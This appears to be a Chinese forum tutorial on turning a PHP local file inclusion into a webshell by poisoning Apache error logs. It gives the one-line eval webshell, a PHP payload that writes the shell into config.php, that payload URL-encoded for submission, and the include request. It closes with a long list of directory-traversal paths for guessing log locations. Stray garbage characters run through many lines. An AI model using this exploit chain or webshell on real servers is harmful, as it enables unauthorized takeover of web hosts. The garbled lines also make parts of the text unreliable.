php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
0 G3 _& y' W9 S3 x: f  V
比如还是这句一句话木马
' s2 \& R& s6 Q$ d& u9 |: u+ G) B<?eval($_POST[cmd]);?>   
# T8 i5 p- F& S# M; L! [# z
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
0 t2 q+ |7 h* N& p7 Kfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
* X" L, Y: u) Ifclose($fp);?>   //在config.php里写入一句木马语句
" W% i( F/ _: q
+ v4 S+ F, e4 N8 n( c) r我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
8 M9 t3 f5 M$ x, V$ ~5 ?6 t转换为
7 `- w" k0 [3 h) O; [%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
. X0 K5 ~" T7 Y2 m& m2 Tconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
& n% q( @* j) x. _2 u我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
' f. d; a) D" A5 |( k%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
7 M, E, P2 a; m. T%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

/ Z! ]  [5 E, L( x0 p  u2 H1 N- S/ W, z; L这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
  |/ I9 A- e# l1 vhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

& O7 s. t# f( [: C1 X这样webshell就写入成功了，config.php里就写入一句木马语句
0 V" N4 B+ ?; W. t) tOK.
3 {$ h9 v+ Z) Mhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
' D0 a! A7 q, s. m4 B直接用lanker的客户端一连，主机就是你的了。
" p* B7 g8 ^' L8 k2 V/ H
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
2 s: d& z  `+ Z# q../../../apache/logs/error.log
  ^0 t$ j' Q( M/ }- M# v../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
" I3 E* L: r9 t2 F../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
1 \2 W$ _% F" z7 X: L../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
) b, ?9 I2 k( H3 C% g5 D$ p4 y  G6 D../../../../../../../../../../var/log/apache/access_log
6 u9 m; t9 X4 v3 ~& Q! |../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
0 \. X0 W. `& @../../../../../../../../../../var/www/logs/error_log
8 Z+ Y! V) U* L4 I5 u. k" @../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
9 j& \! `* S" j3 W../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
$ r1 b- w) K3 @; i  E8 S/var/log/httpd/access_log      
/ B! W, d5 k9 N) C9 x/var/log/httpd/error_log     
/ g% K+ ]3 s$ i../apache/logs/error.log     
+ C0 E% `; c- _../apache/logs/access.log
1 v3 y7 m! X" G7 @2 T- L  N( I! V0 h6 T../../apache/logs/error.log
; H" _& a) Y" }% z2 a. r. X../../apache/logs/access.log
& w) l& a! e( q& D& C# ]../../../apache/logs/error.log
/ o7 Z# [, ~- E, q. T. I/ \- f../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
  d5 |. e9 w& y! T3 U" Z/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
1 R$ T9 B: \; B, }/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
2 r; L& F7 t2 g- C$ o/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
( [/ A3 H" T+ H: W; i# K) }2 M, g/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
) e/ p; K8 q! ?/usr/local/apache/logs/error.log
1 ~/ H- f) d3 c$ W3 ], `2 M/var/log/apache/error_log
6 A& m* F: S$ R$ V: m3 a. C! p/ e/var/log/apache/error.log
" A& V- N4 V+ B/var/log/access_log
7 }( E: D0 U" O/ \+ M( H: x/var/log/error_log